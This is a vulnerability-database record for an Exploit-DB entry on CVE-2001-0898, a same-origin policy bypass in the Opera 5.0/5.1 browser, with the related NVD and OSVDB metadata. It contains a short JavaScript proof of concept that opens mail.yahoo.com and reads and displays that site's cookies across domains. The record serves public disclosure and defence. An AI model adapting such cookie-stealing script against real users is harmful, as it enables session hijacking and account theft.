{"id": "EDB-ID:21156", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Opera 5.0/5.1 Same Origin Policy Circumvention Vulnerability", "description": "Opera 5.0/5.1 Same Origin Policy Circumvention Vulnerability. CVE-2001-0898. Remote exploit for windows platform", "published": "2001-11-15T00:00:00", "modified": "2001-11-15T00:00:00", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "href": "https://www.exploit-db.com/exploits/21156/", "reporter": "Georgi Guninski", "references": [], "cvelist": ["CVE-2001-0898"], "lastseen": "2016-02-02T15:47:47", "viewCount": 3, "enchantments": {"score": {"value": 6.7, "vector": "NONE", "modified": "2016-02-02T15:47:47", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2001-0898"]}, {"type": "osvdb", "idList": ["OSVDB:6274"]}], "modified": "2016-02-02T15:47:47", "rev": 2}, "vulnersScore": 6.7}, "sourceHref": "https://www.exploit-db.com/download/21156/", "sourceData": "source: http://www.securityfocus.com/bid/3553/info\r\n\r\nOpera is a popular, freely available web browser that is supported across many different platforms.\r\n\r\nOpera is prone to an issue which may allow for the execution of script code across domains, allowing for circumvention of the web browser's security model. It is possible to construct malicious script code on a webpage, which when executed by Opera web browser, is able to affect another domain.\r\n\r\nIn short, Opera does not properly implement the \"Same Origin Policy\" enforced by other browsers.\r\n\r\nThe danger is that one website may be able to access the cookie-based authentication credentials of another website. \r\n\r\n-1.----------------------------------\r\na=window.open(\"http://mail.yahoo.com\");\r\nfunction f()\r\n{\r\nxx=a.document.cookie;\r\nalert(\"hi\"+xx);\r\na.document.open();\r\na.document.write(\"<h1>aa</h1><script>x=window.open('http://mail.yahoo.com');setTimeout('z=x.document.cookie;alert(z);',5000)</\"+\"script>\");\r\na.document.close();\r\n}\r\nsetTimeout(\"f()\",5000);\r\n----------------------------------- ", "osvdbidlist": ["6274"]}

{"cve": [{"lastseen": "2020-12-09T19:19:25", "description": "Opera 6.0 and earlier allows remote attackers to access sensitive information such as cookies and links for other domains via Javascript that uses setTimeout to (1) access data after a new window to the domain has been opened or (2) access data via about:cache.", "edition": 5, "cvss3": {}, "published": "2001-11-15T05:00:00", "title": "CVE-2001-0898", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2001-0898"], "modified": "2016-10-18T02:12:00", "cpe": ["cpe:/a:opera_software:opera_web_browser:6.0"], "id": "CVE-2001-0898", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0898", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:opera_software:opera_web_browser:6.0:*:*:*:*:*:*:*"]}], "osvdb": [{"lastseen": "2017-04-28T13:20:01", "bulletinFamily": "software", "cvelist": ["CVE-2001-0898"], "edition": 1, "description": "# No description provided by the source\n\n## References:\nISS X-Force ID: 7567\n[CVE-2001-0898](https://vulners.com/cve/CVE-2001-0898)\nBugtraq ID: 3553\n", "modified": "2001-11-15T00:00:00", "published": "2001-11-15T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:6274", "id": "OSVDB:6274", "type": "osvdb", "title": "Opera Javascript Same Origin Bypass", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}]}